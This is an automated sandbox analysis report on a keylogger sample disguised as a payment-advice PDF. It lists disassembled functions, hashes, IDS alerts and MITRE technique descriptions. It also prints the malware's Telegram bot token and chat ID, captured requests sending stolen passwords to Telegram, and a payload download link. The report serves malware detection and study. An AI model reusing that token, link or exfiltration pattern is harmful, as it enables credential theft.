Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00161A40 Relevance: 5.1, Strings: 4, Instructions: 98COMMON

Download Yara Rule

Strings

Xbq, xrefs: 00161B2F
Xbq, xrefs: 00161AB0
Xbq, xrefs: 00161A76
Xbq, xrefs: 00161B7C

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 4a19f300d539f5a80c65697af47c6681574d0c800c6ba6d0e4f371dab14c8792
Instruction ID: 754a7ef0d7f9745d3213d6aa133241386f62a77bad56f8f31bcdd4ae39cbaf70
Opcode Fuzzy Hash: 4a19f300d539f5a80c65697af47c6681574d0c800c6ba6d0e4f371dab14c8792
Instruction Fuzzy Hash: 41319230E0121A9FDF648BB9CD403AEBBB6AF84310F1944B9C855A7254EB70CD90CB92

Function 001658E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 00165926
\;^q, xrefs: 001658F4
\;^q, xrefs: 001658FE
\;^q, xrefs: 0016591A

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: d12e65d96e0494a851b2e7d82d9c68c07fb705e234273e84dcc1f4f610b44f4a
Instruction ID: 499255676d3656734e62ba6b271d44ed49e18ea818d5a7c9e2c21d8a9e3a7746
Opcode Fuzzy Hash: d12e65d96e0494a851b2e7d82d9c68c07fb705e234273e84dcc1f4f610b44f4a
Instruction Fuzzy Hash: 9501B131740905CF8B688E2DC84492577EBAF88B78B254469E046CF3B0DB32DC51C780

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: PAYMENT ADVICE TT07180016-24_pdf.exe.7788.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747D1EC CryptUnprotectData,		4_2_3747D1EC
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747D9D9 CryptUnprotectData,		4_2_3747D9D9

Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49747 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49794 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49759 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49813 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49834 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49880 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49778 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49805 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49825 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49766 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49899 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49844 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49784 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49871 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49910 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49861 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49852 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49890 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49918 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1e448cf4571dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1e7283a76d25Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1e9d6fdd08c3Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1ec81d1bdcb8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1ef12d1812ccHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1f1a00c07bebHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1f43f2bafc9cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1f6c4e620d42Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1f946ce6ca9cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1fbc5054d7f6Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1fe54a740e43Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd2010a61c1fbbHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd203e5f0cc69eHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd20739cdded1dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd20b042e931e1Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd20f1af2d3636Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd214717f9b5d8Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd21a75f8a832eHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd223092f2d6dcHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747C985h	4_2_3747C638
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37471042h	4_2_37470C28
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37470671h	4_2_374703AF
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37471042h	4_2_37470F6F
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747EA48h	4_2_3747E79F
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747E198h	4_2_3747DEE1
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747C041h	4_2_3747BD88
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37471042h	4_2_37470C1A
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747B791h	4_2_3747B4EC
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747E5F0h	4_2_3747E339
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747EEA0h	4_2_3747EBF7
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747DD40h	4_2_3747DA89
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747BBE9h	4_2_3747B944
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747C499h	4_2_3747C1F2
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747F2F8h	4_2_3747F042
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3747B339h	4_2_3747B07F
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 3752882Dh	4_2_37528650
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 375291B7h	4_2_37528650
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then push 00000000h	4_2_3752BDF0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37524218h	4_2_37523F70
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 375261B8h	4_2_37525F10
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37526A68h	4_2_375267C0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37521250h	4_2_37520FA8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37525908h	4_2_37525660
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 375230B8h	4_2_37522E10
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37523968h	4_2_375236C0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37522808h	4_2_37522560
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37525058h	4_2_37524DB0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37526EC0h	4_2_37526C18
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 375216A8h	4_2_37521400
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37527770h	4_2_375274C8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37521F58h	4_2_37521CB0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_37527B4F
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37526610h	4_2_37526368
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37523DC0h	4_2_37523B18
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37524670h	4_2_375243C8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37523510h	4_2_37523268
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 375254B0h	4_2_37525208
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37525D60h	4_2_37525AB8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 375223B0h	4_2_37522108
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37522C60h	4_2_375229B8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37521B00h	4_2_37521858
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37527318h	4_2_37527070
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then jmp 37524ACAh	4_2_37524820
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then push 00000000h	4_2_37A5E7C8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	4_2_37A5F5D8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4x nop then push 00000000h	4_2_37A5F316

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49753 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 172.217.19.174:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

